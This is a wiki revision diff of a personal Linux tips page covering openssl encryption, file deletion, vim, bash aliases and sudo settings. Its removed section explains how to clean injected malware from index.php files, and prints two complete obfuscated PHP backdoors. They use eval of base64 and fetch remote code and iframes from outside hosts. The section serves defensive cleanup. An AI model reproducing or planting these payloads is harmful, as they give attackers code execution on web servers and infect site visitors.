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| − | == Remove by inode == | + | == Encrypt/Decrypt a file == |
| | | | |
| − | find . -inum 782263 -exec rm -i {} \; | + | Encryption |
| | + | |
| | + | cat <file> | openssl enc -aes-256-cbc -salt -pass pass:$pass > <enc_file> |
| | + | |
| | + | Decryption |
| | + | |
| | + | cat <enc_file> | openssl enc -d -aes-256-cbc -salt -pass pass:$pass > <file> |
| | + | |
| | + | == Remove special character files == |
| | + | |
| | + | 2 simple ways: |
| | + | |
| | + | rm -- <filename> |
| | + | rm ./<filename> |
| | + | |
| | + | Or with a bulldozer, by inode: |
| | + | |
| | + | find . -inum <inode> -exec rm -i {} \; |
| | | | |
| | == VIM == | | == VIM == |
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| | Defaults timestamp_timeout=20 | | Defaults timestamp_timeout=20 |
| | ... | | ... |
| − | </pre>
| |
| − |
| |
| − | == Remove badware in *index.php files ==
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| − |
| |
| − | The following command:
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| − |
| |
| − | <pre>
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| − | find . -name '*index.php' -exec sed -i "s|<?php\ /\*68066\*/\ error_reporting(0);\ @ini_set('error_log',NULL);\ @ini_set('log_errors',0);\ @ini_set('display_errors','Off');\ @eval(\ base64_decode('.*'));/\*68066\*/\ ?>||" {} \;
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| − | </pre>
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| − |
| |
| − | Remove the following badware:
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| − |
| |
| − | <pre>
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| − | <?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaWYgKGlzc2V0KCRfUE9TVFsnY29va2llc19pJ10pKSB7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY29va2llc19pJ10pKTt9CiR6Mzc9InN0YXRzIjsKJHVhMz0kX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl07CiR1MzcgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJNYWMiKTsKaWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICR1MzcpIC4gIi9pIiwgJHVhMykpIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkpCnt9CmVsc2UKewpAc2V0Y29va2llKCR6MzcsbWQ1KCJzdGF0cyIpLHRpbWUoKSsxNzI4MDApOwokaWQ9IjlvOGFhODhsOGVqaTEycmpmNWtva2VteGZ5amx6MXQiOwokdXJsPSJodHRwOi8vaWZyYW1lc2hvcC5uZXQvc3RpLnBocD9pZD0iLiRpZDsKJGlmcmFtZT1AZmlsZV9nZXRfY29udGVudHMgKCR1cmwpOwppZiAoJGlmcmFtZSkgZWNobygkaWZyYW1lKTsgCn0K'));/*68066*/ ?>
| |
| − | </pre>
| |
| − |
| |
| − | <pre>
| |
| − | <?php /\*68066\*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHMiOwokdWEzPSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKJHUzNyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIk1hYyIsICJpbnV4IiwgIlgxMSIpOwppZigocHJlZ19tYXRjaCgiLyIgLiBpbXBsb2RlKCJ8IiwgJHUzNykgLiAiL2kiLCAkdWEzKSkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkgPT0wKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgKQp7fQplbHNlCnsKQHNldGNvb2tpZSgkejM3LG1kNSgic3RhdHMiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyAKfQoK'));/\*68066\*/ ?>
| |
| | </pre> | | </pre> |
Latest revision as of 14:25, 8 May 2013
Encrypt/Decrypt a file
Encryption
cat <file> | openssl enc -aes-256-cbc -salt -pass pass:$pass > <enc_file>
Decryption
cat <enc_file> | openssl enc -d -aes-256-cbc -salt -pass pass:$pass > <file>
Remove special character files
2 simple ways:
rm -- <filename>
rm ./<filename>
Or with a bulldozer, by inode:
find . -inum <inode> -exec rm -i {} \;
VIM
set viminfo='1000,f1,<500
.bashrc
export HISTFILESIZE=3000
alias l='ls -aCFlh'
alias u="apt-get update"
alias ug="apt-get upgrade"
alias i="apt-get install"
alias r="apt-get remove"
alias s="apt-cache search"
kernel parameters
For Compact Flash:
libata.dma=0 ide=nodma ide-core.nodma=0.0 ide-core.nodma=0.1
sudo
...
Defaults timestamp_timeout=20
...
